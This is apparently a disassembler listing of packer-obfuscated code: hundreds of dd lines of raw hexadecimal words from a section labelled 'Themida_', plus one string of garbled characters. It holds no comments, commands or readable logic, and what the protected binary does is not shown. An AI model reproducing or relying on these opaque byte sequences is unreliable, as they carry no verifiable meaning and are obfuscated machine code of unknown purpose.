895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0D681C357h, 27E92Fh, 800F0000h, 6, 1CF99589h, 30500610h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 205BF983h, 22BF6660h, 0D8B70F5Ah, 68A0F61h dd 89000000h, 1013D9B5h, 0C1BD8306h, 3061022h, 424850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0A82B8EC3h, 0B70FF686h, 6DBD83FEh, 613C2h dd 3F4840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 4C432CC3h, 2C44D062h, 0FFFC7439h dd 13C26DB5h, 0FFC0B706h, 102FA595h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0FF21241h dd 0F71D320Eh, 0BF66B8B8h, 0B58B90C2h, 613C261h, 2DA59509h dd 6C70610h, 10001h, 39EBBF66h, 50606096h, 5A310F52h, 0DE858h dd 0B8640000h, 0EBA35E1Fh, 0F352109Ah, 5E2E2F5Eh, 0D38B6661h dd 57565061h, 5B5F5F52h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0BAA22FFh, 0BF621578h dd 45BD899Ah, 0FF06102Ah, 13C26DB5h, 0DF816606h, 95FFCF22h dd 6101225h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 3DC35747h, 9589F813h, 6101F55h, 0C261B58Bh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 456C28C3h, 56074690h, 538966D6h, 1E6D9D8Bh, 8B5B0610h dd 1021D185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0BD2B52E3h, 61032B9h, 0C486895Bh dd 8B000000h, 1009F595h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0A1B9702Ah, 89222CF7h dd 1011718Dh, 0E95F5106h, 9, 26D5FAC5h, 87F178A7h, 4C28309h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E2C35141h dd 8660A79Eh, 89DFF07Eh, 8D0F2050h, 6, 0DC59589h, 858D0610h dd 613D7C2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 76C35242h, 4B715678h, 0D5A1E786h, 0B886895Bh, 8B000000h dd 1027859Dh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 7F2CC352h, 0BF0F60CFh dd 0DFBF0FC7h, 0DA816061h, 44A360D6h, 0FE78166h, 0B5FF613Bh dd 613C26Dh, 8E9h, 6F29DF00h, 0D7CE3498h, 9595FF7Fh, 29061004h dd 10090985h, 0BB665006h, 3489E133h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0D381662Dh dd 0B5FF26B6h, 613C26Dh, 2D95FFFCh, 6A061016h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F4DC357h, 81h, 0C0CF8100h, 837FA6C4h, 101351BDh, 840F0006h dd 4Eh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C3C35343h, 21523E80h dd 3197AE08h, 100011BDh, 34895006h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0D65B1740h dd 0B5FFD891h, 613C26Dh, 0FFF98B66h, 100C1995h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 174CA6FAh, 75858987h, 0FF06102Dh, 13C26DB5h, 0E1EF8006h dd 162195FFh, 7E90610h, 0F4000000h, 242D03C2h, 890F4E67h dd 0 dd 0F89BD83h, 0F020610h, 5184h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0A43C2397h dd 8224C287h, 2A019D89h, 858B0610h, 61010C5h, 6A0000C6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0E85BC355h, 85C7EB8Eh, 6102A25h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6AC35242h dd 2B70CCA7h, 1FE977DAh, 8BFFFFF3h, 102805BDh, 6AC18B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 17F2C351h, 89A7F4DDh, 101F9585h, 0B9858D06h dd 6A061013h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 8104C355h, 50C203DFh, 4895009h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0CEB65265h, 0B834B2C1h, 9589EC4Fh, 6100535h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0B30F6DC3h, 0EB2E158Ch, 0E8E8B8C7h, 8, 0A32B775Dh dd 36F75BA6h, 22699589h, 6A5B0610h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2B41B8A6h dd 8D080E85h, 15286585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BFF54B05h, 71A88818h dd 833FE780h, 0E38105C0h, 84F6CCh, 0CE850h, 66510000h dd 126C3F42h, 0D9BD2E0Fh, 0E86048B9h, 13h, 1B00AF79h, 58E1B930h dd 1705258Fh, 45F40B86h, 5EDF1E28h, 61D38B66h, 2404895Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 68C35545h dd 221680ABh, 0DEBF0F9Bh, 11ADBD8Bh, 6A0610h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9DC35242h, 95899DB0h dd 61027E9h, 0BD8B006Ah, 61010DDh, 1D1995FFh, 0BF530610h dd 3410D391h, 0C8F0F5Fh, 0F000000h, 684h, 0BD9D0100h, 8D06101Ah dd 13AFD88Dh, 85BD8906h, 0FF061004h, 9BD83D1h, 1061022h dd 62850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0D9CA2FC3h, 3980F4A8h, 26AD860h dd 0BE9h, 20DDD00h, 6857FFADh, 0DA8D81Bh, 0BE950h, 20540000h dd 7BC34202h, 1067E60Eh, 240489D9h, 2D959D09h, 95FF0610h dd 6100495h, 6830Fh, 0EB810000h, 336D00A7h, 0D98E9h, 0E800h dd 815D0000h, 15286FEDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 57D3FCE6h, 0C8B0Fh, 810F0000h dd 6, 8F0Fh, 31FC0000h, 10208D8Dh, 0B6858D06h, 8B061399h dd 101FDD9Dh, 6BB79006h, 92BF5250h, 5B5F4182h, 68D0F90h dd 8B000000h, 1029399Dh, 35FF6406h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CAC35646h dd 0DAC177Bh, 9D8D897Bh, 64061023h, 2589h, 0FFFC0000h dd 10141985h, 81665106h, 5BC563E7h, 6AFF6Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 786D54C3h dd 0B5A3D097h, 65B5FF19h, 6A061008h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E27C353h dd 0A094A59Ah, 7E97D94h, 99000000h, 9DACC74Fh, 95FF1E52h dd 6100615h, 135E9h, 0B0F98B00h, 5FF95600h, 6670E6F9h dd 71E4FA8Bh, 2DA7BF66h, 3CD9B70Fh, 17830F61h, 89000001h dd 10162595h, 0E58D8906h, 0F061014h, 0BD8BC8B6h, 61011CDh dd 6BAh, 0F8BF0F00h, 8B0FC18Bh, 6, 2275BD2Bh, 0E8C10610h dd 0AFBB6604h, 0DA8B66E9h, 0BE2F766h, 102829BDh, 8BC82B06h dd 1032DD9Dh, 899D8B06h, 8B06100Dh, 0FBBF0FD1h, 0C1E9h dd 0F7816600h, 858BDB9Eh, 505F4C4Ch, 0FFBADB81h, 0C08317A1h dd 31C38107h, 83395EC9h, 12E800C0h, 23000000h, 717F0EB2h dd 34DAD632h, 0E49D3600h, 341572D9h, 10E960B5h, 0F8000000h dd 879B3FC7h, 101B2003h, 0AFD17C6Dh, 617DA828h, 0FD03B5Fh dd 1183h, 0FE8B6600h, 0D7DFBF66h, 61E9h, 0C890BB00h, 8D8B029Fh dd 0FFFFFFFFh, 0FE9h, 81AA000h, 54DCF61h, 59DC088Fh, 40CD0988h dd 0F01E183h, 3984h, 0F9BF0F00h, 83F8B70Fh, 0FFFFFFA5h dd 0BD2BFEFFh, 6102025h, 4C4C9589h, 0BE8505Fh, 62000000h dd 979B6F22h, 4BAFCA1Dh, 0BB66D334h, 315B8775h, 1015A995h dd 0E906h, 0B58D0000h, 6149DDFh, 6AFBBF0Fh, 315B5300h dd 1027DDBDh, 0C995FF06h, 6A061031h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0AF47C357h dd 773258CEh, 0C5BD09B6h, 0B906102Ah, 0F84h, 1E9D8589h dd 0E1830610h, 11E8FCh, 0D7B80000h, 47783D39h, 0E19FEA71h dd 0F8092D86h, 8947CAA5h, 101471BDh, 6AFC5B06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0F1EC356h, 687h, 0FD8D0100h, 0E906101Dh, 0Bh, 0AB6A6A63h dd 0CF7CE3BAh, 0B869F6BEh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BCC35747h dd 5FE6362Bh, 0F5BB75D4h, 0DE8h, 61EDFC00h, 0B4A57A7Ah dd 0A88248D4h, 8B66DDF7h, 0BA5FFAh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 244FC356h, 527CEDB9h, 12CDB529h, 95F0610h, 1018ED95h dd 0C233AD06h, 0D003E8D1h, 7504E983h, 0B4F781F4h, 6A094F1Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 89BDC351h, 1013A1BDh, 880D06h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 1A263EC3h, 0BD8B191Eh, 6100A99h, 8BF98B66h, 1009F595h dd 8D01F906h, 6101189h, 23198D8Bh, 0FA8B0610h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D895818h, 6100C81h dd 6A5CE380h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 5E19C356h, 0DA8B8D75h, 1E29BD83h dd 0F000610h, 1F84h, 35BD8B00h, 29061013h, 1031CD8Dh, 0B806h dd 8D890000h, 610167Dh, 4E858D8Dh, 0E1FF0610h, 22C1BD83h dd 0F000610h, 47384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 5E50E546h, 838B766Eh dd 1022C1BDh, 840F0106h, 45Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 50C35242h, 0B19D89F4h, 33061000h dd 10124D9Dh, 0C1BD8306h, 3061022h, 3F3860Fh, 860F0000h dd 0 dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0F215C894h, 0FC57B3C8h, 0DF87BF66h, 1BAD8589h dd 8C660610h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 25893E59h, 80AB729Fh, 0CE904E1h dd 25000000h, 8C3DA57Dh, 0C5603CFFh, 0A6AACBEh, 59840FC9h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0EA69C356h, 85858B67h, 9061021h dd 102F7D9Dh, 0FD853306h, 6A061011h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89D5C355h dd 1021B1B5h, 8B529006h, 0BF505FFBh, 26CB68EEh, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 6E9609Dh, 1C000000h, 60EE825Eh, 28F0F47h, 8A000000h dd 6A61FEh, 0AE8h, 2882C00h, 4192A19Ah, 666EA97Dh, 65B8D381h dd 9DB7685Bh, 12E9768Fh, 9D000000h, 9ED98809h, 0E2D7FB2Ch dd 0A3E26888h, 0D744890Fh, 243481E5h, 76909E48h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 72C35545h, 0DAB70F41h dd 0FF70EF80h, 1005D595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0F4982FF8h dd 4C07830h, 55F78166h, 6D8589AFh, 0E90613C2h, 0Dh, 0DF23E896h dd 0E11A6BD9h, 2980847Bh, 1CBE97Ah, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0D67E74C3h dd 0FFBF0FFEh, 0C265858Bh, 0BD010613h, 6101B79h, 1800C7h dd 8B660000h, 69B58BF9h, 6A0613C2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0BB68C351h dd 14E9h, 5F272A00h, 1B10192Fh, 5111C320h, 0AE201038h dd 0FC30B83Fh, 25858B75h, 8906100Eh, 102F6185h, 6A068906h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 6BDBC353h, 3175AA4Ch, 858BFA8Bh, 6102185h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 4EC35747h dd 56751BA3h, 23B1BD33h, 895B0610h, 6A0446h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 966FB6C3h dd 0B9666060h, 0CE8E675h, 95000000h, 30FCFD48h, 39D4F350h dd 5E26690Ch, 0F506161h, 880h, 0F525000h, 5A616031h, 6A9658h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 393D80C3h, 0C05DA2FBh, 0B5FF6FB3h, 613C265h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 41C35040h, 64964CF7h dd 7E155C6Eh, 9018589h, 72680610h, 6618821Eh, 3481DE8Bh dd 9D1D8D24h, 53006A18h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 298483CCh, 101F698Dh, 858DF506h dd 613C26Dh, 312D8D89h, 8B900610h, 0BB6650DAh, 8B90BE32h dd 1000C1BDh, 0D595FF06h, 81061005h, 0CE0CBF7h, 5E96164h dd 92000000h, 50A0B04Ah, 22C185C7h, 30610h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0EB2BFFC3h, 44FBEB02h, 8B6C18E9h, 6DBD83DFh, 613C2h dd 33840Fh, 0E9FC0000h, 48h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 4BC35747h, 8831CDE0h, 0F2F1A91h dd 28Bh, 0B754B300h, 0C305084h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 10EB8166h, 0C1BD8317h, 3061022h dd 445850Fh, 0BD0B0000h, 6101055h, 0C26DBD83h, 0F000613h dd 43284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 8CE879E1h, 0AC3D8538h, 0F19D0373h dd 0FF061012h, 13C26DB5h, 219D8B06h, 0FF061001h, 102FA595h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 8BF55DE4h, 13C261B5h, 0C58D2906h, 0C7061032h dd 1000106h, 13E900h, 0EB180000h, 0B9696939h, 0CE9B2838h dd 107EA68Ch, 5538BCB6h, 965096CBh, 9D89FE8Bh, 6102AB5h dd 0C26DB5FFh, 820F0613h, 6, 1B3DB501h, 95FF0610h, 6101225h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5FC35040h dd 9D016FB0h, 6101D05h, 0A09BD8Bh, 0B58B0610h, 613C261h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5EC35545h dd 81666EFEh, 8BDCC6D3h, 1021D185h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 300FD409h dd 0E943B70Dh, 0BD8B155Dh, 6101F59h, 0C48689h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 99957EC3h, 0F5958B48h, 0E9061009h, 0Ch, 8D1B5B0Ah, 0F730B9B1h dd 0EDC8FC75h, 8363E380h, 9D0904C2h, 6103169h, 6512C381h dd 50896F36h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0BBE64A60h, 9D29F6A8h, 61015C9h dd 0D7C2858Dh, 0E7800613h, 8DBD8BC1h, 89061034h, 0B886h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 65620BE4h, 216B7E03h, 0CB81006Ah, 5D18B835h dd 0C26DB5FFh, 8D890613h, 6102F71h, 49595FFh, 6A0610h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 967CF1C3h, 1640BB66h, 238A0F50h, 0E8000000h, 0Bh, 0AB2CEE96h dd 0E19131D4h, 0E9DB17C0h, 0Dh, 92E96E9Bh, 0EBB860D9h dd 0FA77D699h, 6A965B6Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0FBD6C355h, 0D5B40441h dd 0C26DB5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 7824B0C3h, 0CC971444h, 8A0F4640h dd 6, 2F358D89h, 95FF0610h, 610162Dh, 209D8589h, 0BD830610h dd 6101351h, 60840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0D58CC350h dd 6552BA98h, 0B89AC33h, 1C459D8Bh, 0E9960610h, 7, 60A2E4D0h dd 507AAA2Bh, 6A96D98Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 7950C350h, 0CDBD8929h dd 0FF061020h, 13C26DB5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 72DC8BEFh dd 0E82A963Ah, 7E9E147h, 8E000000h, 8ADDA5DDh, 85016848h dd 6100AF9h, 0C1995FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0D21D2FC3h, 0FF38634Ch dd 13C26DB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 95FF8E32h dd 6101621h, 125B501h, 0BD830610h, 6100F89h, 5D840F02h dd 57000000h, 5FDF8B66h, 10C5858Bh, 6A0610h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0DA1052C3h dd 8BE9D1AEh, 1021059Dh, 0C606h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0BFC35646h, 0F9B5030Ah, 9589BA95h dd 6100B61h, 2A2585C7h, 610h, 9D8B0000h, 6101AA9h, 0EE9h dd 58DC00h, 32A9896Ah, 0CCEAAC3Eh, 0E9CEA425h, 0FFFFF35Ch dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 6EC35747h dd 37963193h, 0E19D8BD5h, 8B06100Dh, 53006AC1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B9500E9h dd 0B9858DD9h, 0F061013h, 18Dh, 0BD8BF500h, 6100231h, 5880F90h dd 0BB000000h, 6594F090h, 0AE950h, 0D8FC0000h, 0DC2A4253h dd 3119FEE3h, 11E990h, 40D40000h, 40B5D8FEh, 0D3BBBFC9h dd 3D8287E4h, 6A6D3AB3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 6D37BE1Eh, 0C52D0A89h dd 12E8h db 0 aAyhGpmaa8Gqns db 'ÇÊayh½£PŒ€a×8&,£qné',0Ah,0 ; DATA XREF: Themida_:0054D1E0o align 4 dd 6C8F293Fh, 0C53EFD42h, 6A5B0ECCh, 5858900h, 8D06101Bh dd 15382685h, 759D8906h, 8306101Dh, 6A05C0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0DB81D4C3h dd 116667A4h, 90D9B70Fh, 38D0Fh, 8B660000h, 666050D9h dd 61E011BEh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 78AAB1ACh, 0E3B7EF9Ah, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0E17498C3h, 5F9B774Dh, 6A176773h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 97EB1B8h, 0F18D892Bh dd 0FF061020h, 101D1995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8D6016DEh dd 13AFD88Dh, 3DB58906h, 0FF061014h, 0CE9D1h, 83D00000h dd 94B31768h, 7C96F406h, 0BD8382B0h, 6102209h, 82850F01h dd 8B000000h, 101BCD9Dh, 6A026A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 96BBC351h dd 6501A5C9h, 5365AD20h, 13E9h, 13415000h, 260CA01Ch, 0E0713D08h dd 8E568FB3h, 435CFC49h, 0BD23565Bh, 6102FEDh, 489505Bh dd 0DBB70F24h, 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 6BD180C3h, 6EE34C52h dd 8AD88B66h, 0C84E9D8h, 0E80000h, 5D000000h, 3830ED81h dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0F56DEC3h, 281h, 5FF88B00h, 99B6858Dh, 50900613h dd 2B906160h, 100D35BDh, 35FF6406h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 92C35040h dd 0D49D6662h, 0F7FDF80h, 8964DFB7h, 25h, 0F1BD0B00h, 0FF06102Ah dd 10141985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 197E4175h, 0E904EDB1h, 0Ah, 3D6A6CD7h dd 0F765DE6Bh, 0FF6A0910h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 67C35343h, 0B715C4DDh, 0A5B5FF20h, 0E9061004h dd 0Bh, 699ECC35h, 0B1DF8B10h, 0FF2BFAFBh, 10061595h, 120E906h dd 9D8B0000h, 6100B21h, 0BB6600B0h, 70E6C6E2h, 71E4DF8Bh dd 68B0Fh, 0BD890000h, 61011C5h, 7AF0BB66h, 830F613Ch dd 0F6h, 0B81BD33h, 0BE90610h, 0B7000000h, 711681A2h, 0BBB6990Bh dd 0B60F1958h, 0BAFD8AC8h, 6, 0C18B6BB3h, 0C1F98B66h, 7E804E8h dd 0A4000000h, 0E7872F2Dh, 0AE98B68h, 0E1000000h, 0B099EECh dd 94940911h, 0F7665BF1h, 0DF8B66E2h, 0D98BC82Bh, 12E8D18Bh dd 0D1000000h, 0FEDFD28Eh, 100B82FDh, 72FFA27Dh, 2CC5DECBh dd 5BD03C8h, 5F061002h, 81E9h, 0B8E0F00h, 0F000000h, 581h dd 0AE1ABF00h, 858B39CDh, 4947554Ch, 0B04BD781h, 0C08363A3h dd 72D78107h, 833F3621h, 6FBB00C0h, 3B0FB831h, 0B830FD0h dd 1000000h, 1004D995h, 40E906h, 8D8B0000h, 0FFFFFFFFh dd 2161BD8Bh, 0E1830610h, 2B840F01h, 0BF000000h, 71D72C5Eh dd 0FFFFA583h, 0FFEFFFFh, 88Eh, 8D895700h, 6102829h, 4C95895Fh dd 89494755h, 101F4D85h, 0E906h, 0B58D0000h, 614B33Bh dd 15E5BD01h, 6A0610h, 9D9D8951h, 5B061027h, 31C995FFh dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 6E99D3C3h, 0CEC7917Fh, 0BB66C000h, 1DB92D35h dd 80000011h, 0E18358E7h, 358589FCh, 0FC061009h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 78C35646h, 0C02B2A02h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 39C35343h dd 0F648F11h, 10E8DBBFh, 24000000h, 220A5CF5h, 110F9B47h dd 0CEA78C85h, 8BFD0EA0h, 10141DBDh, 0BA5F06h, 8B000000h dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 0FD98AF4h, 68Dh dd 0D5950900h, 0D06102Fh, 88h, 6810Fh, 8D890000h, 6102F41h dd 9F5958Bh, 9D8B0610h, 610171Dh, 23198D8Bh, 6A0610h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 9D89CAC3h, 6101F3Dh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 81605818h, 0C97532DEh, 7D958B18h, 6106101Eh dd 810Fh, 2ABF0000h, 833C1AB2h, 101E29BDh, 840F0006h, 79h dd 0CE9h, 5B0C2300h, 0E23CE1B5h, 0D53CC22Fh, 2EAABF08h dd 0B85FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 7B08C350h, 5F3270DDh dd 1258BF40h, 816621A3h, 8DB49FD7h, 104E858Dh, 9DF8106h dd 0FF1C8584h, 51006AE1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8BF71D32h, 101E2DBDh dd 0C1BD8306h, 61022h, 43A840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4CCB18C3h dd 0FF8FB20Ah, 22C1BD83h, 0F010610h, 42684h, 0BD83FC00h dd 61022C1h, 0E2860F03h, 0E9000003h, 0Eh, 0DEB772D3h, 1B920399h dd 3C5073BAh, 6A608DC3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 4655C356h, 0F5FBB70Fh dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0D526C351h, 0E180D88Bh, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0AD69056Fh, 0E27443D4h, 0FC90A77h, 0C684h, 8BFA8B00h dd 10218585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 4B532F79h, 0F2D9EE8h, 8533FFB7h dd 61011FDh, 11E9h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh, 0C0E6E17Fh dd 0F50A4A2h, 0C81h, 6860F00h, 50000000h, 5A310F52h, 24048958h dd 2015BD89h, 81660610h, 6ACD31EFh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 5CCA18A7h dd 689EDD51h, 9117BF3Dh, 0C2240481h, 896F0744h, 101D5985h dd 0D595FF06h, 89061005h, 101BB98Dh, 0F98B6606h, 0C26D8589h dd 9D230613h, 6102845h, 204E9h, 0ADBD8B00h, 8B061001h dd 13C26585h, 0B5BD8906h, 0C7061000h, 1800h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 6612E400h, 8B9084BFh, 13C269B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 25858B87h dd 6606100Eh, 5F18F381h, 6A0689h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E8FDC5C3h, 0Ah, 6554B1EEh dd 22E261C5h, 890FC8EFh, 4, 0F51BB66h, 0E8D98A5Fh, 0Ch dd 0B3ABA9E0h, 3C326768h, 11FB06A5h, 5800Fh, 81660000h dd 5F6B3CE3h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 6BC9C4C3h, 840491EAh dd 0E1BD33FBh, 2906101Ch, 1012C1BDh, 4468906h, 333D9D89h dd 0B5010610h, 61012C9h, 0BE86050h, 14000000h, 0C6054A49h dd 30697E11h, 0DE8BA7C7h, 0EE958h, 4BE90000h, 93BD981Eh dd 0F667DC8Eh, 43CD8A30h, 24348961h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 2AC35545h, 